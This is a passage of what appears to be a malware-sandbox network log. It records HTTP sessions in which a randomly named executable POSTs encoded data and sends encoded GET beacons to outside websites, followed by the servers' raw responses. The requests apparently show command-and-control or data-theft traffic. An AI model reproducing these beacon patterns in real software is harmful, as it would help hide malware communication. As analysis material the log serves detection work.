                                Jun 5, 2024 18:27:48.220009089 CEST11INData Raw: 31 0d 0a 03 0d 0a 30 0d 0a 0d 0a
                                Data Ascii: 10


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                11192.168.2.74972164.46.118.35804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:27:49.328383923 CEST1735OUTPOST /0a9p/ HTTP/1.1
                                Host: www.shahaf3d.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 1247
                                Origin: http://www.shahaf3d.com
                                Referer: http://www.shahaf3d.com/0a9p/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 59 2b 4d 6f 43 6a 71 46 6b 66 56 70 77 47 34 78 4f 69 6f 35 49 65 50 74 62 37 55 76 6f 55 73 77 4d 31 4b 59 6e 36 37 4a 50 78 6e 41 35 36 4d 76 72 42 2f 6b 57 46 6d 6c 75 74 63 43 6b 2b 51 54 30 42 4f 5a 68 5a 6a 51 4b 48 38 61 41 66 53 4f 30 32 57 39 62 51 34 42 37 38 30 4d 43 56 37 51 43 57 31 6c 6c 45 34 6b 70 6a 33 4e 33 49 39 71 6f 42 2f 79 74 4e 64 59 30 5a 6c 61 63 48 77 67 30 6f 5a 73 55 32 55 73 64 70 52 36 63 4d 32 38 4c 62 39 77 69 67 4e 78 5a 63 77 57 49 48 75 51 5a 63 52 52 41 5a 54 74 55 54 33 50 38 67 67 59 63 44 57 31 4f 4c 33 42 46 76 62 51 4d 73 62 71 59 72 6d 45 4e 4b 34 47 2b 52 6a 4e 55 77 2f 59 53 72 6c 58 77 6d 52 4f 69 58 43 45 2f 46 72 62 74 35 6f 79 78 53 50 55 72 33 55 35 42 5a 73 2b 31 46 6f 61 4c 4f 62 49 32 73 78 77 6c 79 69 31 6a 33 41 59 39 32 48 41 5a 73 58 74 33 30 35 6d 74 78 72 46 38 69 4f 46 45 48 6e 75 6c 52 4d 37 70 6a 45 65 68 4e 54 5a 2b 70 35 77 6f 48 4d 71 48 64 62 31 7a 49 35 30 30 6c 50 32 4a 7a 4d 50 73 48 74 50 74 63 73 61 31 71 31 74 6a 6b 39 [TRUNCATED]
                                Data Ascii: 9d=Y+MoCjqFkfVpwG4xOio5IePtb7UvoUswM1KYn67JPxnA56MvrB/kWFmlutcCk+QT0BOZhZjQKH8aAfSO02W9bQ4B780MCV7QCW1llE4kpj3N3I9qoB/ytNdY0ZlacHwg0oZsU2UsdpR6cM28Lb9wigNxZcwWIHuQZcRRAZTtUT3P8ggYcDW1OL3BFvbQMsbqYrmENK4G+RjNUw/YSrlXwmROiXCE/Frbt5oyxSPUr3U5BZs+1FoaLObI2sxwlyi1j3AY92HAZsXt305mtxrF8iOFEHnulRM7pjEehNTZ+p5woHMqHdb1zI500lP2JzMPsHtPtcsa1q1tjk9IY03zE5fEQyP80/uGolVQG8I1zZG04qyR5dXxCpJIcZXEwmlxQGBy4jhQnGYF8Pa0QGAYDVHj6dt8/P0AZWP7H+tK25NKAqtuGVPnBjbO4ozSewx2XfC6RFuButacvwptn9iWlxXRpRtEZtnD433LMKKnt9pmPO38JHSAU3+QaWdBMpazfj4sY4t1TnQ+NGU3U04jJQLiUVIwYOg/XwdZVp2ECp6usKPCuDcF3rX/a1F/L4rU1qz8zlObsQv963yq5T+4SDjrjjqQWBNhMufbPF23TavHeE589dW3vx97acNHDItdV0YOXK60+zs+RtoAlqOkTN76CNRSq6U+bV0XYCGy9zs86516ZGUSAS5YAZKmRHkv7tcEcOIZk9YlIEi2dRgdsj7KJmhbSGoWa77saKp/P9Moi2zol+236ycu1HfvUFdaBDasFEQlevG5tssY07aAd6p/omN6POBazNE65VfI4/pcIosKIC7b+SjMT314dpM2IBvM+KhuDQpfe9PQH9aOnaITqcI6cZVJvwb29qovLlyEhBykGWpjqGdjLmBkPZgXpTBvYYcewENPNGlUvk/FcNjpSFFyCRL/dbIMoOCXUTzb4F8ZmrunpuiLhNMvc3nIb4Tco4l5d/PSkKqdaY0/nf5cyybYblilpsU0YtUsFhpjn1uWr [TRUNCATED]
                                Jun 5, 2024 18:27:50.729536057 CEST1236INHTTP/1.1 404 Not Found
                                Connection: close
                                x-powered-by: PHP/7.4.33
                                x-litespeed-tag: afb_HTTP.404
                                content-type: text/html; charset=UTF-8
                                expires: Wed, 11 Jan 1984 05:00:00 GMT
                                cache-control: no-cache; private
                                x-litespeed-cache-control: no-cache
                                transfer-encoding: chunked
                                content-encoding: br
                                vary: Accept-Encoding
                                date: Wed, 05 Jun 2024 16:27:50 GMT
                                server: LiteSpeed
                                Data Raw: 63 33 35 0d 0a 80 90 02 80 f8 9f d9 ec 7f ef aa 2c f6 a7 c9 60 e8 67 d9 86 40 06 83 49 8f 43 7a 1a d3 c2 ba 60 a5 65 49 4f 92 01 7f 8a aa bf d8 ff c5 62 f7 ef 5d eb 15 b2 42 d9 0a 9f 64 22 f6 ee 13 e2 64 92 a3 bd fd 44 d8 56 31 3d 5f a5 00 50 c8 1a d9 1a 5b a1 fa 18 d3 fb da 49 39 8a 08 d4 ca 66 62 04 5c 64 7e 10 1d 44 b3 3a 34 6a 00 ab 37 2a 7b a4 d9 a7 0f bd f9 41 04 00 7b 88 e3 df ec ba c1 0d 85 83 e6 2f f5 14 ca de 96 e0 e9 34 35 34 6f a8 ec 89 90 5f 8f 48 d8 b6 7a 40 49 50 a7 04 9b 7f 6f cc 7c c5 15 95 c3 1e 51 6e 4c 60 83 f6 b5 3f 3c 7e 0b c6 e6 ed f8 b0 0f cf ee 3f bb ff 04 a7 8f 76 68 a6 60 36 60 f1 f7 79 68 74 e5 28 10 4e 1f e1 da 49 1d a4 5e e1 49 ab 54 87 e7 3a d0 ca f1 40 02 ef cd c2 04 59 e1 43 e7 03 35 be 97 cd 0f 46 a4 9a 68 56 40 93 b3 34 0e 0a e3 bc 09 56 c6 ac 14 59 d5 7a 12 59 3a b5 86 d9 37 a6 45 92 cf e1 6b 32 fd 59 2c 68 d0 0c 6e 9d 02 ff 4d aa 43 b0 be c8 32 5f f3 9a 2f 4f 45 5a 99 86 40 9b d0 f2 e0 66 31 bd e9 21 8b 89 72 25 d1 65 67 1b cb 80 5e 37 6b ad 32 5c f8 6c 94 8f 4e [TRUNCATED]
                                Data Ascii: c35,`g@ICz`eIOb]Bd"dDV1=_P[I9fb\d~D:4j7*{A{/454o_Hz@IPo|QnL`?<~?vh`6`yht(NI^IT:@YC5FhV@4VYzY:7Ek2Y,hnMC2_/OEZ@f1!r%eg^7k2\lN"m1;*hf?,2=62r5+KH9INW&&(7PA+B;k\52of*z9Ilt~u9N0m@\l$6REUBRKB-7MC$AR54:Ter+}V_q?|vyr8v)so6$kIA<;;f*,mA^$AmpCpL 6{BbZN1<h ~bt?&&xb8`{n\=LQR&8'I}Xc\iZ5W@mc_EE>x`ZU(AW}7?qBJeet!sjN+5\$>_4n'qQMIY
                                Jun 5, 2024 18:27:50.729581118 CEST1236INData Raw: d1 cb fd d2 b8 93 f3 48 28 3d ac b3 b3 7a 53 49 ae 98 92 3e a4 4d 26 38 17 47 07 4b e1 d6 40 d8 67 45 6d d6 e4 44 5a 81 03 3c c0 af 97 b3 7f 2a 25 0b 6d 42 bf 50 dc 07 66 96 2c 74 96 06 45 31 e6 68 5d 43 f3 a8 90 28 11 97 83 d9 86 9e 67 0a 2c 76
                                Data Ascii: H(=zSI>M&8GK@gEmDZ<*%mBPf,tE1h]C(g,vv1LP9vtYI460eVf//o[4g|rq1fJK_K_bfYO2O=dRl{CEFiDb6.TFv#8g\9Ua7fF[dy
                                Jun 5, 2024 18:27:50.729614019 CEST1042INData Raw: 54 5c cf f2 86 37 84 3b 65 89 78 c6 53 66 ad f6 56 71 5f c7 10 24 d5 fc eb 5c af a4 0f 29 17 a2 1f ab ae 8f 2c 18 38 3b 5f 0b 23 ba 6c 76 7b 8e c9 17 98 88 b4 b2 39 6b 1f 85 a8 aa 4b 0f 7d 16 b6 4e b9 f5 d9 12 c3 4a d9 5a 0a d9 c4 98 1f fd d6 5f
                                Data Ascii: T\7;exSfVq_$\),8;_#lv{9kK}NJZ_a^<I-ljO,LtAYvX}|.e5NM#abd:lwU$ua,Z>s)k| W N;SZyi@@p-A2>n#uplb
                                Jun 5, 2024 18:27:50.731667042 CEST11INData Raw: 31 0d 0a 03 0d 0a 30 0d 0a 0d 0a
                                Data Ascii: 10


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                12192.168.2.74972264.46.118.35804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:27:51.909708977 CEST447OUTGET /0a9p/?G0a=VFN0vBc0ol1ljnb0&9d=V8kIBUO99PR2h3hxIilGCb7xaYAlhXctAHbGwYfDKyusvK4qrRX5UHKQt8cO5YQS4wmk4tmPPEFmQcKp7F6SaRICxMFUNkXtPm1N7nAwt3H84qVeuxzzlvsq+rVjUlYjzq9gXVFKEYh8 HTTP/1.1
                                Host: www.shahaf3d.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Jun 5, 2024 18:27:53.448247910 CEST1236INHTTP/1.1 404 Not Found
                                Connection: close
                                x-powered-by: PHP/7.4.33
                                content-type: text/html; charset=UTF-8
                                expires: Wed, 11 Jan 1984 05:00:00 GMT
                                cache-control: no-cache; private
                                x-litespeed-cache-control: public,max-age=3600
                                x-litespeed-tag: afb_HTTP.404,afb_404,afb_URL.bb612978f523fb6348e4e3107ed53975,afb_
                                x-litespeed-cache: miss
                                transfer-encoding: chunked
                                date: Wed, 05 Jun 2024 16:27:53 GMT
                                server: LiteSpeed
                                Data Raw: 32 39 62 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 53 45 4f 20 2d 2d 3e 0d 0a 3c 74 69 74 6c 65 3e 53 48 41 48 41 46 20 33 44 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 6e 63 72 65 74 65 20 33 44 20 50 72 69 6e 74 69 6e 67 20 46 75 6c 6c 79 20 49 6e 74 65 67 72 61 74 65 64 20 52 6f 62 6f 74 69 63 20 53 79 73 74 65 6d 73 22 2f 3e 0d 0a 3c 21 2d 2d 20 6f 67 20 6d 65 74 61 20 66 6f 72 20 66 61 63 65 62 6f 6f 6b 2c 20 67 6f 6f [TRUNCATED]
                                Data Ascii: 29b1<!DOCTYPE html><html lang="en-US"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> ... SEO --><title>SHAHAF 3D</title><meta name="description" content="Concrete 3D Printing Fully Integrated Robotic Systems"/>... og meta for facebook, googleplus --><meta property="og:title" content="SHAHAF 3D"/><meta property="og:description" content="Concrete 3D Printing Fully Integrated Robotic Systems"/><meta property="og:url" content="https://shahaf3d.com"/><meta property="og:type" content="website" /><meta property="og:image" content="https://shahaf3d.com/wp-content/uploads/2023/08/shahaf-3d-concrete-printing.jpg"/>... twitter meta --><meta name="twitter:card" content="summary_large_image"/><m
                                Jun 5, 2024 18:27:53.448256016 CEST1236INData Raw: 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 53 48 41 48 41 46 20 33 44 22 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63
                                Data Ascii: eta name="twitter:title" content="SHAHAF 3D"/><meta name="twitter:description" content="Concrete 3D Printing Fully Integrated Robotic Systems"/><meta name="twitter:url" content="https://shahaf3d.com"/><meta name="twitter:image" content="
                                Jun 5, 2024 18:27:53.448262930 CEST1236INData Raw: 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 31 39 30 38 30 31 3b 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6d 70 2d 73 75 62 73 63 72 69 62 65 20 3a 3a 2d 77 65
                                Data Ascii: nput[type="submit"] {background-color: #190801;} .cmp-subscribe ::-webkit-input-placeholder {color: hsl( 0, 0%, 90%);} .cmp-subscribe ::-moz-placeholder {color: hsl( 0, 0%, 90%);} .cmp-subscribe :-ms-inpu
                                Jun 5, 2024 18:27:53.448321104 CEST1236INData Raw: 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 2e 77 70 2d 76 69 64 65 6f 20 7b 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 7d 0d 0a 20 20 20 20 2e 77 70 2d 76 69 64 65 6f 2d 73 68 6f 72 74 63 6f 64 65 20 7b 6d 61 78 2d 77 69 64 74 68 3a 20 31 30
                                Data Ascii: <style> .wp-video {margin: 0 auto;} .wp-video-shortcode {max-width: 100%;} .grecaptcha-badge {display: none!important;} .text-logo {display: inline-block;} #gdpr-checkbox {-webkit-appearance: checkbox;-moz-appearance
                                Jun 5, 2024 18:27:53.448333979 CEST848INData Raw: 61 3d 56 46 4e 30 76 42 63 30 6f 6c 31 6c 6a 6e 62 30 26 23 30 33 38 3b 39 64 3d 56 38 6b 49 42 55 4f 39 39 50 52 32 68 33 68 78 49 69 6c 47 43 62 37 78 61 59 41 6c 68 58 63 74 41 48 62 47 77 59 66 44 4b 79 75 73 76 4b 34 71 72 52 58 35 55 48 4b
                                Data Ascii: a=VFN0vBc0ol1ljnb0&#038;9d=V8kIBUO99PR2h3hxIilGCb7xaYAlhXctAHbGwYfDKyusvK4qrRX5UHKQt8cO5YQS4wmk4tmPPEFmQcKp7F6SaRICxMFUNkXtPm1N7nAwt3H84qVeuxzzlvsq+rVjUlYjzq9gXVFKEYh8" /> <input type="email" id="email-subscribe" name="
                                Jun 5, 2024 18:27:53.448343992 CEST1236INData Raw: 64 27 2c 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 0a 63 6f 6e 73 74 20 66 6f 72 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 73 75 62 73 63 72 69 62 65 2d 66 6f 72 6d 27 29 3b 0a 63 6f 6e 73
                                Data Ascii: d',function(event) {const form = document.getElementById('subscribe-form');const submitButton = form.querySelector('#submit-subscribe');const resultElement = form.querySelector('#subscribe-response');const emailInput = form.querySelector
                                Jun 5, 2024 18:27:53.448352098 CEST1236INData Raw: 65 72 20 6c 6f 61 64 20 2d 2d 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20
                                Data Ascii: er load --> <script> window.addEventListener("load",function(event) { init(); }); function init(){ var image = document.getElementById('background-image'); var body = d
                                Jun 5, 2024 18:27:53.448367119 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 6f 6f 70 3a 20 74 72 75 65 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 61 72 74 41 74 3a 20 73 72 63 2e 6c 65 6e 67 74 68 20 3e 20
                                Data Ascii: loop: true, startAt: src.length > 1 ? src[1] : '0', showPosterBeforePlay: true }); </script>
                                Jun 5, 2024 18:27:53.448375940 CEST1236INData Raw: 79 70 6f 74 3d 26 65 6d 61 69 6c 3d 24 7b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 6d 61 69 6c 49 6e 70 75 74 2e 76 61 6c 75 65 29 20 7d 26 66 69 72 73 74 6e 61 6d 65 3d 24 7b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e
                                Data Ascii: ypot=&email=${ encodeURIComponent(emailInput.value) }&firstname=${ encodeURIComponent(firstname) }&lastname=${ encodeURIComponent(lastname) }&security=${ security }&token=${ token }`, credentials: 'same-origin'
                                Jun 5, 2024 18:27:53.448388100 CEST372INData Raw: 27 4f 6f 70 73 21 20 45 6d 61 69 6c 20 69 73 20 65 6d 70 74 79 2e 27 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 3c 21 2d 2d 20 42 75 69 6c 64 20 62 79
                                Data Ascii: 'Oops! Email is empty.'; } } </script>... Build by CMP Coming Soon Maintenance Plugin by NiteoThemes -->... Visit plugin page https://wordpress.org/plugins/cmp-coming-soon-maintenance/ -->... More CMP
                                Jun 5, 2024 18:27:53.448532104 CEST5INData Raw: 30 0d 0a 0d 0a
                                Data Ascii: 0


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                13192.168.2.74972313.228.81.39804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:27:59.675080061 CEST741OUTPOST /3h10/ HTTP/1.1
                                Host: www.againbeautywhiteskin.asia
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 215
                                Origin: http://www.againbeautywhiteskin.asia
                                Referer: http://www.againbeautywhiteskin.asia/3h10/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 77 6b 78 72 55 39 6e 53 42 66 4f 4b 4f 7a 45 59 6d 63 4d 72 34 34 70 30 30 66 68 53 67 6c 33 66 50 4e 53 5a 48 77 41 44 5a 64 41 74 72 5a 4f 43 6a 69 56 52 6a 72 31 55 37 48 4f 41 64 51 35 59 4f 78 4b 4d 52 38 62 42 58 62 46 70 64 47 39 36 56 62 44 74 48 68 56 4d 49 74 51 30 4f 6f 37 33 71 2b 49 6c 49 57 48 5a 48 54 61 49 4f 4f 38 64 77 50 57 65 35 7a 47 42 6d 38 55 47 50 4a 38 59 36 7a 4f 50 68 6a 36 6b 34 65 38 53 75 78 51 64 43 63 44 33 5a 77 44 41 54 72 30 68 48 73 68 77 2b 47 5a 66 5a 50 68 6a 45 57 55 70 61 46 6d 30 46 37 48 64 53 4e 46 39 64 61 75 65 32 45 34 34 75 78 6a 59 79 4c 7a 55 31 51 43 49 53 67 62 6d 30 67 3d 3d
                                Data Ascii: 9d=wkxrU9nSBfOKOzEYmcMr44p00fhSgl3fPNSZHwADZdAtrZOCjiVRjr1U7HOAdQ5YOxKMR8bBXbFpdG96VbDtHhVMItQ0Oo73q+IlIWHZHTaIOO8dwPWe5zGBm8UGPJ8Y6zOPhj6k4e8SuxQdCcD3ZwDATr0hHshw+GZfZPhjEWUpaFm0F7HdSNF9daue2E44uxjYyLzU1QCISgbm0g==
                                Jun 5, 2024 18:28:00.696891069 CEST1236INHTTP/1.1 200 OK
                                Server: openresty
                                Date: Wed, 05 Jun 2024 16:28:00 GMT
                                Content-Type: text/html
                                Transfer-Encoding: chunked
                                Connection: close
                                Vary: Accept-Encoding
                                Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
                                Content-Security-Policy: upgrade-insecure-requests; default-src data: 'unsafe-inline' 'unsafe-eval' https:; script-src data: 'unsafe-inline' 'unsafe-eval' https: blob: https://www.googleanalytics.com https://www.google-analytics.com https://www.googleoptimize.com https://optimize.google.com https://td.doubleclick.net https://fburl.com https://www.facebook.com https://connect.facebook.net; style-src data: 'unsafe-inline' https: https://optimize.google.com https://fonts.googleapis.com https://w.ladicdn.com https://s.ladicdn.com; img-src data: https: blob: android-webview-video-poster: https://www.google-analytics.com https://www.googletagmanager.com https://optimize.google.com https://w.ladicdn.com https://s.ladicdn.com; font-src data: https: https://fonts.gstatic.com https://w.ladicdn.com https://s.ladicdn.com; connect-src https: wss: blob:; media-src data: https: blob:; object-src https:; child-src https: data: blob:; form-action https:; frame-ancestors https://p
                                Data Raw:
                                Data Ascii:
                                Jun 5, 2024 18:28:00.696897984 CEST212INData Raw: 70 75 70 78 2e 6c 61 64 69 2e 6d 65 20 68 74 74 70 73 3a 2f 2f 2a 2e 6c 61 64 69 2e 6d 65 20 68 74 74 70 73 3a 2f 2f 73 2e 6c 61 64 69 63 64 6e 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 67 2e 6c 61 64 69 63 64 6e 2e 63 6f 6d 20 68 74 74 70 73 3a 2f
                                Data Ascii: pupx.ladi.me https://*.ladi.me https://s.ladicdn.com https://g.ladicdn.com https://w.ladicdn.com https://*.ladicdn.com https://www.facebook.com https://*.facebook.comSet-Cookie: LADI_DNS_CHECK="2024-06-05 16:28
                                Jun 5, 2024 18:28:00.696902037 CEST1236INData Raw: 3a 30 30 2e 35 30 31 39 32 30 33 30 33 20 2b 30 30 30 30 20 55 54 43 20 6d 3d 2b 32 30 31 36 37 31 30 2e 30 35 33 31 35 33 32 31 38 22 3b 20 45 78 70 69 72 65 73 3d 53 61 74 2c 20 30 33 20 4a 75 6e 20 32 30 33 34 20 31 36 3a 32 38 3a 30 30 20 47
                                Data Ascii: :00.501920303 +0000 UTC m=+2016710.053153218"; Expires=Sat, 03 Jun 2034 16:28:00 GMTSet-Cookie: LADI_CLIENT_ID=01e955b3-5d3a-40e1-6eb9-e4647531fe9b; Expires=Sat, 03 Jun 2034 16:28:00 GMTSet-Cookie: LADI_PAGE_VIEW=0; Path=/3h10; Expires=Sat
                                Jun 5, 2024 18:28:00.696949005 CEST1236INData Raw: 52 5f 50 41 47 45 5f 56 49 45 57 3d 3b 20 50 61 74 68 3d 2f 33 68 31 30 3b 20 4d 61 78 2d 41 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4c 41 44 49 5f 43 41 4d 50 5f 42 45 48 41 56 49 4f 52 5f 50 41 47 45 5f 56 49 45 57 5f 50 41 54 48
                                Data Ascii: R_PAGE_VIEW=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_BEHAVIOR_PAGE_VIEW_PATH=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_BEHAVIOR_FORMSUBMIT=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_BEHAVIOR_FORMSUBMIT_PATH=; Path=/3h10; Max-Age
                                Jun 5, 2024 18:28:00.696966887 CEST582INData Raw: 50 61 74 68 3d 2f 33 68 31 30 3b 20 4d 61 78 2d 41 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4c 41 44 49 5f 43 41 4d 50 5f 42 45 48 41 56 49 4f 52 5f 50 41 47 45 5f 56 49 45 57 3d 3b 20 50 61 74 68 3d 2f 33 68 31 30 3b 20 4d 61 78 2d
                                Data Ascii: Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_BEHAVIOR_PAGE_VIEW=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_BEHAVIOR_PAGE_VIEW_PATH=; Path=/3h10; Max-Age=0Set-Cookie: LADI_CAMP_BEHAVIOR_FORMSUBMIT=; Path=/3h10; Max-Age=0Set-Cookie: LADI
                                Jun 5, 2024 18:28:00.697345018 CEST1236INData Raw: 31 34 30 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 3c db 8e db 48 76 bf 52 d6 62 a6 25 b8 a8 96 ba 5b 7d 91 5a 3d f1 38 4e 76 80 c1 8e 31 e3 d9 ec c2 70 8c 12 59 92 38 4d 91 34 49 f5 c5 da 7e 08 f2 98 87 60 9f f3 92 c1 60 10 20 40 80 20 c8 d3 fa
                                Data Ascii: 140c<HvRb%[}Z=8Nv1pY8M4I~`` @ SU$d-YS^.</~'Tsv#E1Oo_u:;Mg](${1n=e[O?Elx>xi;-u/67E$H
                                Jun 5, 2024 18:28:00.697366953 CEST212INData Raw: 1c ee ec 8c d2 47 01 4b 88 7d a5 d8 6a 43 4c c2 c2 98 0f d3 07 25 41 0b f4 c7 16 22 95 44 69 42 3c 0c 41 12 8b d8 12 74 61 91 c5 9c ef 96 b1 84 2e 05 50 53 15 d4 55 28 b9 1a 6b 6f ba 01 68 c9 14 22 27 6b ee 3a 0e f7 57 e9 fb 50 be df 08 47 69 25
                                Data Ascii: GK}jCL%A"DiB<Ata.PSU(koh"'k:WPGi%83W%)^|9Vkn~WaO+P"SHmM:{|[KuXM}j;h6aRz;FEP:uHqp-
                                Jun 5, 2024 18:28:00.697379112 CEST1236INData Raw: 94 76 10 0d 7f 31 9d 4e 47 25 92 91 36 31 ce 40 0c d3 1f 0c 70 1c 45 6b 24 46 eb 8d 94 bd b3 65 12 a4 6a 12 01 19 cb 18 b8 10 5e ad 4b 25 99 f7 57 15 9c 04 ce 87 74 af 4f 0f 00 eb de a0 33 52 b8 22 63 53 f7 d2 df 03 1a fb 80 99 f4 29 97 92 0b 87
                                Data Ascii: v1NG%61@pEk$Fej^K%WtO3R"cS)9XbQc"!fI!p9h'+n|-6ud0vQ4PkU- E+AC?I4H6OZ~}U|qr.!lpBNr>/)
                                Jun 5, 2024 18:28:00.697392941 CEST1236INData Raw: 68 5c d9 4f a5 17 9d b4 72 96 24 cc 9e a3 ca 98 6a e5 05 bf ac 26 65 8f b8 b4 d3 78 ce 58 47 05 9e 78 af 8f 7f f9 7c fc 7e f1 20 78 2b 6d 55 80 65 d9 dc f3 ca f7 c0 16 60 ae 5e 05 64 c9 de ea 50 bd 6f 11 d4 9f c2 a8 09 52 df 2c ae 41 76 1d d7 97
                                Data Ascii: h\Or$j&exXGx|~ x+mUe`^dPoR,Av:8qCK%$r@kbt]S^ZjYJJa%xG5aSF>&C=|u]I<$X^y !z^??_<Wyju%NZVaV\`T,4M$*|R
                                Jun 5, 2024 18:28:00.697405100 CEST1236INData Raw: cc a5 d1 3d 6c 0e a4 25 31 a4 c0 3f 19 17 bb 8b d9 4a bb 01 58 d8 36 e8 ef e7 89 42 d2 e4 11 d9 ea 62 b0 9f 3b 57 f1 5c 1f 89 9a 46 17 49 d9 f4 f4 21 1a b8 3e de 33 2e 67 fa d0 4f b7 8f 7a bd 5c c7 31 05 c5 70 02 2b c9 73 0b d3 17 d6 a5 04 b9 9c
                                Data Ascii: =l%1?JX6Bb;W\FI!>3.gOz\1p+sEtNT5AS5@cUG1/,n=V$F=}^i,`XA#jfUN0S9OVX)lU2W~4c{!dv*:9
                                Jun 5, 2024 18:28:00.702130079 CEST4INData Raw: 0d 0a 0d 0a
                                Data Ascii:


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                14192.168.2.74972413.228.81.39804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:28:02.207586050 CEST761OUTPOST /3h10/ HTTP/1.1
                                Host: www.againbeautywhiteskin.asia
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 235
                                Origin: http://www.againbeautywhiteskin.asia
                                Referer: http://www.againbeautywhiteskin.asia/3h10/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
